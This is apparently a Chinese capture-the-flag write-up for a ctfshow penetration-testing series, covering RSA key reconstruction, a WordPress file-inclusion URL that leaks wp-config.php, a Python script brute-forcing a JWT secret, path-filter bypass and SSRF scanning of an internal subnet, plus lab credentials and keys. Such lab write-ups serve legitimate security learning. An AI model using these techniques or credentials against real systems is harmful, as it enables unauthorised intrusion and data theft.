前言
马上就要期末考但还是来打了,给3-1困了好几天,还好最后没挂科(
官方wp:https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh
第一章
启程
出师未捷身先死
hint:
633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
仔细看一下三行应该是代表n,p,q
还给了加密压缩包,不会misc,启程失败(
哎卧槽怎么是爆6位数字
难绷
flag:ctfshow{654321}
破解加密通讯
if __name__ == '__main__':
try:
import secretMessageResponse
except ImportError:
import pip
pip.main(['install', 'secretMessageResponse'])
from secretMessageResponse import printMessage
这个是所谓的特工保密的通讯手法
pip secretMessageResponse 库下来看看源码
printMessage.py
import base64,datetime
message = {
"inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',
}
def printMessage():
for key, value in message.items():
title = key.replace('inputMessage_', '')
print("\033[1;31m" + "请使用组织分配的私钥解密后使用" + "\033[0m")
title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
print("----------------------------------------------------------")
print(title)
print(value)
print("----------------------------------------------------------")
print("\n")
# 最新流通公钥
def getPublicKey():
return b'''
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''
def enctryptMessage(message):
import base64
message_bytes = message.encode('utf-8')
message_base64 = base64.b64encode(message_bytes).decode('utf-8')
publicKey = getPublicKey()
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
encrypted = public_key.encrypt(
message_base64.encode('utf-8'),
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
return encrypted_base64
printMessage()
那么我们尝试调用一下这个 printMessage
直接执行from secretMessageResponse import printMessage
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-12-16
gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=
----------------------------------------------------------
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-04-11
Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=
----------------------------------------------------------
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-03-05
ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=
----------------------------------------------------------
用hint.txt给的p,q生成私钥
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
n = p*q
phi = (p-1)*(q-1)
d = inverse(65537,phi)
key = (n,e,d)
private = RSA.construct(key)
with open("privatekey.pem","wb") as f:
f.write(private.export_key())
2024-03-05
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改
发送人:Dylan
2024-04-11
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接
发送人:Dylan
2024-12-16
Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
flag:ctfshow{https://task.ctfer.com}
潜入敌营
启动靶机,dirsearch 扫出 openapi.json,是个 fastapi 服务
{
"openapi": "3.1.0",
"info": {
"title": "FastAPI",
"version": "0.1.0"
},
"paths": {
"/login": {
"post": {
"summary": "Login",
"operationId": "login_login_post",
"requestBody": {
"content": {
"application/x-www-form-urlencoded": {
"schema": {
"$ref": "#/components/schemas/Body_login_login_post"
}
}
},
"required": true
},
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/Token"
}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/": {
"get": {
"summary": "Root",
"operationId": "root__get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/task_newest": {
"get": {
"summary": "Task Newest",
"operationId": "task_newest_task_newest_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/task_completed": {
"get": {
"summary": "Task Completed",
"operationId": "task_completed_task_completed_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/task_cancelled": {
"get": {
"summary": "Task Cancelled",
"operationId": "task_cancelled_task_cancelled_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/message_inbox": {
"get": {
"summary": "Message Inbox",
"operationId": "message_inbox_message_inbox_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/message_sent": {
"get": {
"summary": "Message Sent",
"operationId": "message_sent_message_sent_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/messageBox": {
"get": {
"summary": "Messagebox",
"operationId": "messageBox_messageBox_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/listTaskFiles": {
"get": {
"summary": "Listtaskfiles",
"operationId": "listTaskFiles_listTaskFiles_get",
"security": [
{
"OAuth2PasswordBearer": []
}
],
"parameters": [
{
"name": "path",
"in": "query",
"required": false,
"schema": {
"type": "string",
"default": "taskfiles",
"title": "Path"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/readTaskFile": {
"get": {
"summary": "Readtaskfile",
"operationId": "readTaskFile_readTaskFile_get",
"security": [
{
"OAuth2PasswordBearer": []
}
],
"parameters": [
{
"name": "path",
"in": "query",
"required": false,
"schema": {
"type": "string",
"default": "taskfiles",
"title": "Path"
}
},
{
"name": "file_name",
"in": "query",
"required": false,
"schema": {
"type": "string",
"default": "",
"title": "File Name"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/downloadTaskFile": {
"get": {
"summary": "Downloadtaskfile",
"operationId": "downloadTaskFile_downloadTaskFile_get",
"security": [
{
"OAuth2PasswordBearer": []
}
],
"parameters": [
{
"name": "url",
"in": "query",
"required": false,
"schema": {
"type": "string",
"default": "",
"title": "Url"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/getPhone": {
"get": {
"summary": "Getphone",
"operationId": "getPhone_getPhone_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/getServerInfo": {
"get": {
"summary": "Getip",
"operationId": "getIP_getServerInfo_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
},
"security": [
{
"OAuth2PasswordBearer": []
}
]
}
},
"/checkServer": {
"get": {
"summary": "Checkserver",
"operationId": "checkServer_checkServer_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
}
},
"components": {
"schemas": {
"Body_login_login_post": {
"properties": {
"grant_type": {
"anyOf": [
{
"type": "string",
"pattern": "password"
},
{
"type": "null"
}
],
"title": "Grant Type"
},
"username": {
"type": "string",
"title": "Username"
},
"password": {
"type": "string",
"title": "Password"
},
"scope": {
"type": "string",
"title": "Scope",
"default": ""
},
"client_id": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
],
"title": "Client Id"
},
"client_secret": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
],
"title": "Client Secret"
}
},
"type": "object",
"required": [
"username",
"password"
],
"title": "Body_login_login_post"
},
"HTTPValidationError": {
"properties": {
"detail": {
"items": {
"$ref": "#/components/schemas/ValidationError"
},
"type": "array",
"title": "Detail"
}
},
"type": "object",
"title": "HTTPValidationError"
},
"Token": {
"properties": {
"access_token": {
"type": "string",
"title": "Access Token"
},
"token_type": {
"type": "string",
"title": "Token Type"
}
},
"type": "object",
"required": [
"access_token",
"token_type"
],
"title": "Token"
},
"ValidationError": {
"properties": {
"loc": {
"items": {
"anyOf": [
{
"type": "string"
},
{
"type": "integer"
}
]
},
"type": "array",
"title": "Location"
},
"msg": {
"type": "string",
"title": "Message"
},
"type": {
"type": "string",
"title": "Error Type"
}
},
"type": "object",
"required": [
"loc",
"msg",
"type"
],
"title": "ValidationError"
}
},
"securitySchemes": {
"OAuth2PasswordBearer": {
"type": "oauth2",
"flows": {
"password": {
"scopes": {},
"tokenUrl": "login"
}
}
}
}
}
}
路由
[
"/login",
"/",
"/task_newest",
"/task_completed",
"/task_cancelled",
"/message_inbox",
"/message_sent",
"/messageBox",
"/listTaskFiles",
"/readTaskFile",
"/downloadTaskFile",
"/getPhone",
"/getServerInfo",
"/checkServer"
]
然后猜测得去前面提到的某动保站实际打点一下了,是个wordpress
直接wpscan扫一下:
发现有个文件包含,看下poc:https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b/
http://example.com/?aam-media=wp-config.php
下载 wp-config.php 得到数据库账密
flag:ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}
第二章(Fastapi)
秘密潜伏
账密 hsinchug_wp1:Q.4Vyj8VCiedX1KYU5g05
发现key
key:4a4f7d6e8b5??Dc7f
总之先把之前 fastapi 的每个接口都测一遍:
以下路由需要高权限
/listTaskFiles
/readTaskFile
/downloadTaskFile
现在准备写脚本爆破 jwt
import string
import jwt
import itertools
import requests
from tqdm import *
# 定义 Payload 数据
payload = {
"sub": "dylan",
"exp": 1735985106
}
# 生成所有可能的替换字符
possible_chars = "0123456789abcdef"
combinations = itertools.product(possible_chars, repeat=3)
# 遍历所有可能的替换字符组合
for i in tqdm(combinations):
chars = ''.join(i)
modified_key = "4a4f7d6e8b5" + chars + "0c7f"
# print(modified_key)
# # 生成 JWT
token = jwt.encode(payload, (modified_key), algorithm='HS256')
# print(token)
headers = {'Authorization': f'Bearer {token}'}
# 发送 HTTP 请求
url = 'http://94e3c5a5-9608-4bf6-bc9a-519026a4f79c.challenge.ctf.show/'
res = requests.get(url, headers=headers)
if res.status_code == 200:
print(modified_key)
print(token)
break
爆出key:4a4f7d6e8b5e3a0c7f
token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNTk4NTEwNn0.7lqthRIUXMlHFLv8J25BF2qzoMn6EbXaJHeLLKuy6VI
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjA4NTIwOH0.qCHIJugF1Q4TQexDG_vydZbJhUPz9WWXs4_ikK9pagI
访问 /getPhone 接口拿到 dylan 的电话号码
flag:ctfshow{117447685307}
收集敌方身份信息
以 dylan 身份过一遍接口
那么 dylan 的账密为dylan:8f7a55c6d9a7d9a7
文件读取
使用 /listTaskFiles?path
遍历目录,发现不能目录穿越,测了一下把 /
和 \
ban了,但是..
能用
使用 /readTaskFile?path=&file_name=
读取文件,同样有上面的waf,而且还ban了app.py
init_users.json
{
"hsinchug_wp1": {
"username": "hsinchug_wp1",
"password": "Q.4Vyj8VCiedX1KYU5g05"
},
"dylan": {
"username": "dylan",
"password": "8f7a55c6d9a7d9a7"
},
"secret_user": {
"username": "root",
"password": "7y.(sc#Ac_"
}
}
flag:ctfshow{7y.(sc#Ac_}
main.py.bak
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name)
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}
def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True
@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}
@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}
logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}
logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
with open(file_path, 'w'):
pass
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)
requirements.txt
annotated-types==0.6.0
anyio==4.3.0
bcrypt==4.2.1
black==24.10.0
blinker==1.8.2
certifi==2024.2.2
cffi==1.17.1
charset-normalizer==3.3.2
click==8.1.7
colorama==0.4.6
cos-python-sdk-v5==1.9.33
crcmod==1.7
cryptography==44.0.0
dnspython==2.6.1
docutils==0.21.2
email_validator==2.1.1
fastapi==0.115.6
fastapi-cli==0.0.3
Flask==3.0.3
greenlet==3.0.3
h11==0.14.0
httpcore==1.0.5
httptools==0.6.1
httpx==0.27.0
idna==3.6
itsdangerous==2.2.0
jaraco.classes==3.4.0
jaraco.context==6.0.1
jaraco.functools==4.1.0
Jinja2==3.1.4
keyring==25.5.0
markdown-it-py==3.0.0
MarkupSafe==2.1.5
mdurl==0.1.2
more-itertools==10.5.0
mypy-extensions==1.0.0
nh3==0.2.20
orjson==3.10.3
packaging==24.2
passlib==1.7.4
pathspec==0.12.1
pkginfo==1.12.0
platformdirs==4.3.6
pycparser==2.22
pycryptodome==3.21.0
pydantic==2.7.1
pydantic_core==2.18.2
Pygments==2.18.0
PyJWT==2.10.1
PyMySQL==1.1.0
python-dotenv==1.0.1
python-multipart==0.0.9
pywin32-ctypes==0.2.3
PyYAML==6.0.1
readme_renderer==44.0
requests==2.31.0
requests-toolbelt==1.0.0
rfc3986==2.0.0
rich==13.7.1
secretMessageResponse==2.0.17
setuptools==75.6.0
shellingham==1.5.4
six==1.17.0
sniffio==1.3.1
SQLAlchemy==2.0.30
sqlmodel==0.0.22
starlette==0.41.3
tencentcloud-sdk-python==3.0.1145
twine==6.0.1
typer==0.12.3
typing_extensions==4.11.0
ujson==5.10.0
urllib3==2.2.1
uvicorn==0.29.0
watchfiles==0.21.0
websockets==12.0
Werkzeug==3.0.3
xmltodict==0.14.2
这里都是实体类没东西
横向渗透
在 /downloadTaskFile 这里测试前面 /getServerInfo 接口获取的 ip c段,测出内网php服务
{"success":0,"url":"http://172.2.240.5","file_content":"\n<!DOCTYPE html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Database TEST</title>\n\t<script>\n\t\tconst DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';\n\t</script>\n</head>\n\n<body>\n <h1>Welcome to Database TEST</h1>\n <p>This is a test page for database connection and queries.</p>\n <form action=\"index.php\" method=\"get\">\n <label for=\"name\">Enter Database username:</label>\n <input type=\"text\" id=\"name\" name=\"username\" required>\n <br><br>\n <label for=\"password\">Enter Database password:</label>\n <input type=\"password\" id=\"password\" name=\"password\" required>\n <br><br>\n <label for=\"dsn\">Enter Database DSN:</label>\n <input type=\"text\" id=\"dsn\" name=\"dsn\" required>\n <br><br>\n <label for=\"query\">Enter TEST Query:</label>\n <input type=\"text\" id=\"query\" name=\"query\" required>\n <br><br>\n <input type=\"submit\" value=\"Submit\">\n </form>\n</body>\n\n<html>\n\n\n","request_headers":{"User-Agent":"python-requests/2.31.0","Accept-Encoding":"gzip, deflate","Accept":"*/*","Connection":"keep-alive"},"response_headers":{"Server":"nginx/1.14.2","Date":"Fri, 03 Jan 2025 10:57:34 GMT","Content-Type":"text/html; charset=UTF-8","Transfer-Encoding":"chunked","Connection":"keep-alive","X-Powered-By":"PHP/7.2.24","Content-Encoding":"gzip"}}
flag:ctfshow{0x8F7C71E8E82E4D1E}
还测出前面源码 8888 端口的flask:(ip不一样因为重启了靶机)
还测出一个 jetty 服务
还有一个 172.2.xxx.2:7400 的服务,返回401,估计是控制环境用的
第三章(PHP)
跳岛战术
跳岛战术,指直接跳过这题打后面几道非预期(
php服务器 172.2.xxx.5
观察一下前面得到的html
<!DOCTYPE html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>
<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
测试发现 config.php 和 index.php 在同一个目录
hint:
&
sqlite是可以不用账号密码的
必须有真实的表结构,才能文件落地
本地写一个pdo查询测一下
